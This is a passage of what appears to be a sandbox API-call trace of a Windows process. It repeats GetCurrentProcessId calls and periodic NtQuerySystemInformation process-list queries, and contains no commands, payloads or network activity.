0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0104.705] GetCurrentProcessId () returned 0xd70 [0105.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c188) returned 0x0 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.253] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.254] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.255] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.256] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.257] GetCurrentProcessId () returned 0xd70 [0105.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c188) returned 0x0 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.895] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.896] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.897] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.898] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.901] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0105.902] GetCurrentProcessId () returned 0xd70 [0106.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c1d8) returned 0x0 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.477] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.478] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.479] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.480] GetCurrentProcessId () returned 0xd70 [0106.481] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.483] GetCurrentProcessId () returned 0xd70 [0106.484] GetCurrentProcessId () returned 0xd70 [0107.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bf38) returned 0x0 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.087] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.088] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.089] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.090] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.091] GetCurrentProcessId () returned 0xd70 [0107.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c1d8) returned 0x0 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.653] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.654] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.655] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0107.656] GetCurrentProcessId () returned 0xd70 [0108.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c1d8) returned 0x0 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.249] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId 